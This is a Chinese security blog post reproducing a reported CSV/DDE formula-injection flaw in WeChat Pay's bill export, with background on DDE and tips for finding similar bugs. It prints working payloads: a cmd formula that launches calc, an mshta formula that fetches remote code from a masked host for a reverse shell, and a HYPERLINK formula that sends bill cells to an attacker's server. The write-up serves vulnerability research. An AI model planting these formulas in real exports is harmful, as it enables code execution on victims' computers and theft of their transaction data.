如果你喜欢我的文章,欢迎关注公众号:安全女巫
转载请注明出处:https://mp.weixin.qq.com/s/gdmnUJN1l_nxmQUUXFLmtQ
前言
网传微信csv注入漏洞,该漏洞问题出在交易对方账号名称+商品+备注三处字段。微信在导出账单时,将名称写入字段没有进行处理导致。攻击者使用= ,- ,+,等符号,开启DDE公式,即可触发命令执行。
该漏洞强加给微信实属这个锅背的有点冤,加上这种漏洞h1貌似二年前已经不收了。
漏洞具体位置
点击钱包--账单--常见问题--下载账单
漏洞简介
CSV 注入(CSV Injection)漏洞通常出现在具有导出文件 (.csv/.xls) 功能的网站中。当导出的文件内容可控时,攻击者通常会将恶意负载(公式)注入到输入字段中。当用户导出并打开文件时,EXCEL 会调用其自身的动态功能以执行攻击者的恶意代码,从而控制用户的计算机。
DDE 是 Windows 操作系统下的进程间通信协议,通过一种动态数据交换机制实现。使用 DDE 通信需要两个 Windows 应用程序,其中一个作为服务器处理信息,另一个作为客户机从服务器获得信息。
DDE 支持 Microsoft Excel、LibreOffice 和 Apache OpenOffice 等软件,可以在 Excel、Word、Rtf、Outlook 等应用中使用该机制来根据外部应用的处理结果来更新内容。
因此,如果我们制作包含 DDE 公式的 CSV 文件,Excel 在打开该文件时就会尝试执行外部应用程序。
调用 DDE 需要在文件->选项->信任中心->信任中心设置->外部内容中开启:
漏洞的详细介绍可参考:
https://owasp.org/www-community/attacks/CSV_Injection
https://www.notsosecure.com/data-exfiltration-formula-injection/
相关漏洞
漏洞复现
点击钱包--账单--常见问题--下载账单
提前将别人名字,或者交易备注加入攻击代码。
Payload
=1+cmd|' /C calc'!A01
尝试使用mshta.exe来执行位于"http://xx.xxx"的恶意代码。
在限制长度的地方使用短域名,长度是够的,哪怕是对方账户名字。
在域名里面加入自己的攻击载荷。
=mshta|'http:\xx.xx1'!A0
利用Metasploit能够生成payload,可使用下面的注入执行payload,从而达到反弹shell的目的。
远程服务器接受到mshta请求
利用表达式窃取表格内容获取账单详情
经过在CSV文件中注入超连接函数,当用户打开文件并点击连接时,能够把指定的单元格内容提交到指定网址(以下提交A2/A3单元格的内容)。
打印出账单表格内容
=HYPERLINK("http:\xx.xxi="&C27&C28,1)
将会表格内容转账账号名字发送到dns服务器
漏洞挖掘思路
要点:
确认系统是否有导出为 csv 或 xls 表格的功能,一般存在于信息统计、日志导出等功能处。
确认导出的内容是否用户可控:可以在界面直接编辑/新增,或通过数据篡改、HPP、追踪数据源等方式控制输入。
写入测试脚本=1+1,导出后查看表格内容是否解析。
尝试绕过存在的过滤。
总结
本文复现了微信CSV Injection漏洞,并普及了一些关于csv注入相关利用方式。总而言之,csv injection 在钓鱼的场景中目前确实没有什么价值。
本文作者:公众号:安全女巫
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/200060.html